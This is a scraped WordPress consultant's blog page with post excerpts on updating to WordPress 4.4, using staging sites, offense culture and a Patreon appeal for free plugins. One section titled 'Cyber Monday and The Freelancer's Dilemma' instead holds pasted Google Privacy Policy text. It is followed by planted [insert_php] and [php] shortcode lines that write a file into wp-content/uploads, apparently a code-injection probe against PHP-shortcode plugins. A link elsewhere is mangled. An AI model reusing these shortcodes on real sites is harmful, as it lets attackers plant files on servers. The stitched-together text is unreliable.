Update Your Site To WordPress 4.4, like a Pro.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.
image of a conductor on a train performing maintenance
Let a pro handle updates. They aren’t in a hurry, though. Creative Commons Image Attribution

Last week I watched live as the WordPress core developers rushed down to the wire to release version 4.4. It was the first release that I’ve been around to watch be pushed live, and it was really fun.

I make my money on keeping people’s WordPress installs up to date and backed up, but I didn’t rush out to upgrade all client sites immediately.

Read the rest of this post over at the brand-new WP Steward Blog

Cyber Monday and The Freelancer’s Dilemma

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Beginner Mistakes in WordPress: not using a Staging Site.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.

Easily a top-ten mistake I see beginner WordPress users making is updating plugins, themes, and other code on the live site. Updating your code on the live site, without checking to see if it’s going to break stuff, is what developers call “Cowboy Coding,” and it’s an epidemic among beginners.

If you update it on the live site, and it breaks things, what are you going to do?

I’ll answer that: you’re going to have a broken website, and a painful day of getting things back like they were.

jesse petersen please tell me you didn't just cowboy code.
Not a developer? You have an excuse. Developers should immediately take <a href="http://wpworkflow read review.co” target=”_blank”>this course from my friend Jesse and stop cowboy coding forever.

“But wait,” you say! “How can we update the plugin on a live site without clicking ‘update’?!?!”

Read the rest of this post over at the brand-new WP Steward Blog

Something that Always Offends Me Just When I Need It.

standing up to offense-culture.
Perhaps a prioritized list is in order?
The current internet user is offended by something about every 15 minutes. Quick, go scroll through your Facebook profile and count how many people are ranting about something. I’m not above it. I find myself offended by something pretty regularly.

I have a proposal: next time you are tempted to be offended by something, try instead to focus on you. If you’re anything like me, there is plenty to be offended by without having to leave the confines of your own mind. Like a Pharisee dragging a woman caught in adultery into the town square, I’m often way too fixated on the problem outside of me.

My favorite part of that story (it’s in John 8:1-11 in the Bible in case you aren’t familiar) is that Jesus starts writing with his finger in the ground, and the oldest pick up on it first, and wisely leave.

Next time you're about to contribute to the 'I'm offended' chorus, first, use this filter. Click To TweetI’d love to know what he wrote there, but I’d imagine it was an “encouragement” toward introspection. Whatever it was, it made the accusation of caught-in-the-act adultery seem un-prosecutable.

I’d be willing to bet that whatever it is you are offended by will look different in the white-hot light of your biggest current failure.

Before you contribute to the noise about what that politician said, or what that celebrity didn’t say in that interview, or how those people are getting offended by the wrong offensive thing, perhaps take a step back. If you legitimately can’t find anything in your own life about which to be offended (which is a red flag that you need a wise third-party to weigh in), then by all means throw some rocks.

The rest of us will be working on ourselves. I personally have about enough to be offended by for the next 30 years or so, just working through my own backlog.

Become a Patron of My Plugins.

If you like the poem, support the poet. My Case for WordPress Patrons.
If you like the poem, support the poet. My Case for WordPress Patrons.
WordPress has a tagline: “Code is Poetry.” One of my favorite things about poetry is that there are no real rules, yet there are still good poems and bad ones. Generally speaking, poetry (and really any writing) is best described as a sort of word-sculpting, where the poet dumps the contents of their brain on the page, and then goes about sorting and refining it into a poem.

That’s how a lot of code works, too (which is what makes the WordPress tagline so helpfully beautiful).

The best poets in every age of recorded history, from Shakespeare to Langston Hughes to Elizabeth Barrett Browning, have had patrons. Patrons are people who want them to continue writing poems, because the world is a better place with poems in it. Patrons are willing to pay the expenses of an artist, even though the “services” they get are not as direct as, say, a plumber or a chef.

Poetry is not the type of thing that does well when monetized directly, e.g. “write a poem that will sell 100,000 copies” (Exhibit A: Pop-country music.)

That’s where our “code as poetry” metaphor begins to really shine, so stick with me. See, WordPress is “open source software” which means that (among other great perks) a bunch of volunteers pitch in to help make it. In most cases, the people shaping and refining the code are doing it in their spare time, and not getting paid for it. These code-poets are doing something not directly for the money.

Code, when it’s monetized directly, has the potential to devolve quickly into popups, banner ads, and phishing scams—the Rascal Flatts of web development.

When it’s everyone’s side project, being done for the benefit of the world, code is (good) poetry.

Which brings us back to the need for patrons: people who believe that what we are doing in the WordPress world is worth supporting. That’s why, for my free plugins, I’m starting a Patreon page. Here’s a video that explains in one minute what would take me 15 to coherently write out about Patreon.


I’m still going to be making and improving the plugins for free, putting them out into the wild on http://wordpress.org for folks to download and use. I’m still going to make decisions that are in the best interests of the WordPress community, and do everything that I have been doing to grow my plugin’s user base to 10,000+ overwhelmingly happy individuals. Now I’ll just do it with a digital tip jar propping open my laptop case.

If you like what I’m doing, you can chip in.

Right now, my plugins are generating revenue for me only tangentially, as I meet folks in the support forums who then hire me to do things for them.

If Code is Poetry, It's time developers started thinking about monetization like artists Click To TweetPatreon is a way for me to monetize the actual plugin-building process itself. No longer will it be “when I get some spare time, I’ll look into adding that feature.” If enough people like what I’m doing to chip in a few bucks per minor release, There will be better, and more frequent, minor releases (but don’t worry, you can set a maximum budget so that in the event that I go crazy with releases, you won’t be drained).

If code is poetry, it’s time developers started thinking about monetization like artists

You can support my plugins here: BenandJacq’s Patreon